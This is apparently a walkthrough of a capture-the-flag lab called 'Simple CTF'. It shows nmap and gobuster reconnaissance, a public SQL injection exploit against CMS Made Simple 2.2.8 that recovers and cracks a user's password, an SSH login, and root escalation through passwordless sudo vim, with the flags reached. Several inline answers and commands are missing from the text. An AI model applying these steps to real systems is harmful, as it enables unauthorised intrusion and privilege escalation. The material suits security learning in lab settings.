- 1 Simple CTF
- 1.1 1 - How many services are running under port 1000?
- 1.2 2 - What is running on the higher port?
- 1.3 3 - What's the CVE you're using against the application?
- 1.4 4 - To what kind of vulnerability is the application vulnerable?
- 1.5 5 - What’s the password?
- 1.6 6 - Where can you login with the details obtained?
- 1.7 7 - What’s the user flag?
- 1.8 8 - Is there any other user in the home directory? What’s its name?
- 1.9 9 - What can you leverage to spawn a privileged shell?
- 1.10 10 - What’s the root flag?
1 - How many services are running under port 1000?
Let's run nmap:
$ sudo nmap -sS -sV -A -p- 10.10.195.222 ...[SNIP]... PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_Can't get directory listing: TIMEOUT | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.9.35.106 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 4 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-robots.txt: 2 disallowed entries |_/ /openemr-5_0_1_3 |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA) | 256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA) |_ 256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519) ...[SNIP]...
There are 2 services running under port 1000.
2 - What is running on the higher port?
On higher port,
ssh is running on port
3 - What's the CVE you're using against the application?
Listing directories on the web server with gobuster reveals the presence of a hidden directory (
$ gobuster dir -u http://10.10.195.222/ -w /data/src/wordlists/directory-list-2.3-medium.txt =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.195.222/ [+] Threads: 10 [+] Wordlist: /data/src/wordlists/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Timeout: 10s =============================================================== 2020/05/07 22:16:31 Starting gobuster =============================================================== /simple (Status: 301) ...[SNIP]...
The application hosted behind
http://10.10.195.222/simple/ is a CMS (CMS Made Simple version 2.2.8).
Several vulnerabilities exist but the most relevant one is
4 - To what kind of vulnerability is the application vulnerable?
This CVE is about a SQL injection, commonly refered to as
5 - What’s the password?
Let’s exploit it. A python exploit is available here: https://www.exploit-db.com/exploits/46635
$ python exploit.py -u http://10.10.195.222/simple/ --crack -w best110.txt [+] Salt for password found: 1dac0d92e9fa6bb2 [+] Username found: mitch [+] Email found: [email protected] [+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96 [+] Password cracked: secret
6 - Where can you login with the details obtained?
We may use these credentials to login against
ssh (running on port 2222)
7 - What’s the user flag?
$ sshpass -p "secret" ssh [email protected] -p 2222 cat user.txt G00d j0b, keep up!
8 - Is there any other user in the home directory? What’s its name?
We find another user (sunbath) in the /home directory:
$ ls -l /home total 8 drwxr-x--- 3 mitch mitch 4096 aug 19 2019 mitch drwxr-x--- 16 sunbath sunbath 4096 aug 19 2019 sunbath
9 - What can you leverage to spawn a privileged shell?
When we connect, it looks like we have a customized shell (e.g. no TAB completion). It’s easy to bypass it by running:
Now we have a real shell! Let’s see if we have sudo access:
[email protected]:/home$ sudo -l User mitch may run the following commands on Machine: (root) NOPASSWD: /usr/bin/vim
So vim can be executed as root with no password.
[email protected]:/home$ sudo vim
Now in vim, type
ENTER. You now have a shell with
10 - What’s the root flag?
[email protected]:/home# cd /root/ [email protected]:/root# cat root.txt W3ll d0n3. You made it!